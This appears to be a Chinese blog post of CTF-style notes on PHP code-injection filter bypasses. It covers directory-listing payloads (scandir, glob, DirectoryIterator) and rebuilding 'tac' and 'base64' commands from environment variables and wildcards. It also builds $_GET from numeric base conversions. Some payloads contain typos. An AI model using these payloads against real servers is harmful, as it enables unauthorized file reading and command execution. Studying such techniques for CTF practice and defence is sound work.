【无标题】

8.扫描目录(补)

  • print_r扫描目录
c=print_r(scandir('.'));  #查看当前目录
c=print_r(scandir('/'));  #查看根目录
c=print_r(glob('*'));    #查看当前目录
c=print_r(glob('/*'));    #查看根目录
  • var_dump扫描目录
c=var_dump(scandir('.'));  #查看当前目录
c=var_dump(scandir('/')); #查看根目录
c=var_dump(glob('*));      #查看当前目录
c=var_dump(glob('/*'));    #查看根目录
  • var_export扫描目录
c=var_export(scandir('.'));    #查看当前目录
c=var_export(scandir('/'));    #查看根目录
c=var_export(glob('*'));       #查看当前目录
c=var_exportdump(glob('/*'));  #查看根目录
  • glob目录遍历
 c=
 $a=new DirectoryIterator("glob:///*");
 foreach($a as $f){
 echo $f." " ;
 }
 exit();
 或者
 $a = "glob:///*.txt";
 if($b=opendir($a)){
 while(($file=readdir($b))!==false){
 echo "filename:".$b."\n";

 }
 close($b);
 }

opendir、readdir、scanddir:

opendir(path,context)若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 “@” 来隐藏 error 的输出。

readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。

scandir() 函数返回一个数组,其中包含指定路径中的文件和目录。
若成功,则返回一个数组,若失败,则返回 false。如果 directory 不是目录,则返回布尔值 false。】

10.系统命令构造数字:

{_} = ""
$(())=0
$((~$(())))=-1

11.服务器变量构造查询语句

常见的系统变量:

PHP可用的函数:

 

 

1 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64
2
3 PHP_VERSION=7.3.22 /版本
4 SHLVL=2 /记录多个bash进程实例嵌套深度的累加器
5 [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
6 [HOSTNAME] => glot-runner /主机名
[PHPIZE_DEPS] => autoconf dpkg-dev file g++
gcc libc-dev make pkg-config re2c
7
8 [PHP_INI_DIR] => /usr/local/etc/php
9 [PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2
10 [PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2
11 [PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie
[GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2
D6021E995DC9FF8D3EE5AF27F
12
13 [PHP_VERSION] => 7.2.1
14
[PHP_ASC_URL] => https://secure.php.net/get/php-7.2.1.tar.xz.asc/from/
this/mirror
15
[PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d
8e6efd8822
16
17 [PHP_MD5] =>
18 [HOME] => /home/glot
19 [PHP_SELF] => /tmp/543750210/main.php
20 [SCRIPT_NAME] => /tmp/543750210/main.php
21 [SCRIPT_FILENAME] => /tmp/543750210/main.php
22 [PATH_TRANSLATED] => /tmp/543750210/main.php
23 [DOCUMENT_ROOT] =>
24 [REQUEST_TIME_FLOAT] => 1524198667.12
25 [REQUEST_TIME] => 1524198667
26 [argv] => Array
27 (
28 [0] => /tmp/543750210/main.php
29 )
30 [argc] => 1
31 )

构建tac

tac====>${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERS
ION:${PHP_VERSION:~A}:~${SHLVL}}}

⾸先获取到3以便于得到 PHP_CFLAGS 中的tac:

从 PHP_VERSION 中截取 ${PHP_VERSION:2:1} //切⽚操作

这⾥的2:

可以⽤ ${PHP_VERSION:~A} 得到字符串的最后⼀位

这⾥的1

可以⽤ ${~SHLVL} 得到,因为按位取反10取反得到01所以 ~2=1 ;

因此: 3=${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}

最终的tac命令: a. ${PHP_CFLAGS:3:3} //切⽚操作,也就是上⾯3的语句直接复制⼀遍

也就是: ${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:${~SHLVL}}:${ PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} //得到tac指令

构建base64

1 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64

2 PHP_VERSION=7.3.22
3 SHLVL=2
4
5 ???? //代表base
6 ${#PHP_VERSION}${PHP_CFLAGS:~A} //代表64
7 题目需要base64命令的绝对路径:
8 ${PWD::${#SHLVL}} //代表'/'
9 ${#SHLVL} //#用来求变量值的长度
10 初次完整的命令:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}????${#PHP_VERSION}${PHP_CFLAGS:~A}
????.??? //长度超过限制需要缩减
11
12 随机数:
13 ${RANDOM} //随机代表一个数
14 ${#RANDOM} //代表这个随机数的长度
由于64代表的字符串过长,将6代表的字符串去掉(用?代替)将4代表的字符串用随机数的长度字
符串代替
15
16 最终的语句:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? //带有随机
性,只要${RANDOM}是一个四位数就可以,多试几次

12. 以数字和不敏感函数构造敏感函数

1 base_convert(1231231131,10,36) ===>hex2bin
2 hex2bin(dechex(1598506324))=======>_GET
3 $hex2bin(dechex(1598506324))=======>$_GET

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值